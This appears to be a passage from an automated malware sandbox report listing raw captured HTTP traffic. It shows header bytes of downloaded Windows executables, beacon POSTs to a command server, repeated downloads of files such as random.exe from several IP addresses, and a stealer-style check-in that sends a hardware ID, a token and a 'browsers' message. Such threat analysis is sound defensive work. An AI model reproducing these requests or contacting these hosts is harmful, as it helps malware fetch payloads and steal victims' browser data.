00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 13:24:55 GMTContent-Type: application/octet-streamContent-Length: 2814976Last-Modified: Sun, 24 Nov 2024 12:33:14 GMTConnection: keep-aliveETag: "67431d0a-2af400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 45 cc 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 63 6b 6e 6a 62 68 77 00 a0 2a 00 00 a0 00 00 00 94 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 61 7a 62 6a 6e 6c 6d 00 20 00 00 00 40 2b 00 00 04 00 00 00 ce 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 d2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 13:25:22 GMTContent-Type: application/octet-streamContent-Length: 2814976Last-Modified: Sun, 24 Nov 2024 12:33:16 GMTConnection: keep-aliveETag: "67431d0c-2af400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 45 cc 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 63 6b 6e 6a 62 68 77 00 a0 2a 00 00 a0 00 00 00 94 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 61 7a 62 6a 6e 6c 6d 00 20 00 00 00 40 2b 00 00 04 00 00 00 ce 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 d2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 13:25:42 GMTContent-Type: application/octet-streamContent-Length: 2814976Last-Modified: Sun, 24 Nov 2024 12:33:16 GMTConnection: keep-aliveETag: "67431d0c-2af400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 45 cc 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 63 6b 6e 6a 62 68 77 00 a0 2a 00 00 a0 00 00 00 94 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 61 7a 62 6a 6e 6c 6d 00 20 00 00 00 40 2b 00 00 04 00 00 00 ce 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 d2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 13:28:55 GMTContent-Type: application/octet-streamContent-Length: 2814976Last-Modified: Sun, 24 Nov 2024 12:33:16 GMTConnection: keep-aliveETag: "67431d0c-2af400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 45 cc 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 63 6b 6e 6a 62 68 77 00 a0 2a 00 00 a0 00 00 00 94 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 61 7a 62 6a 6e 6c 6d 00 20 00 00 00 40 2b 00 00 04 00 00 00 ce 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 d2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 13:29:07 GMTContent-Type: application/octet-streamContent-Length: 2814976Last-Modified: Sun, 24 Nov 2024 12:33:16 GMTConnection: keep-aliveETag: "67431d0c-2af400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 45 cc 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 63 6b 6e 6a 62 68 77 00 a0 2a 00 00 a0 00 00 00 94 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 61 7a 62 6a 6e 6c 6d 00 20 00 00 00 40 2b 00 00 04 00 00 00 ce 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 d2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/6639161109/r5mqFEC.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008757001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008758001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008763001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008764001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 38 32 45 37 39 42 32 46 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="hwid"2682E79B2F583419705248------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="build"mars------FCFBGIDAEHCFIDGCBGII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDGDBFCBKFHJKFHCBKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 35 36 62 30 32 35 32 62 62 32 61 63 32 35 32 30 62 38 31 30 63 37 64 65 63 39 35 65 34 32 30 39 63 61 66 35 37 64 31 66 66 34 35 33 39 63 64 64 34 66 30 64 30 39 35 36 31 31 62 32 37 62 31 37 35 38 36 31 38 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="token"c456b0252bb2ac2520b810c7dec95e4209caf57d1ff4539cdd4f0d095611b27b17586182------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="message"browsers------GHJDGDBFCBKFHJKFHCBK--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
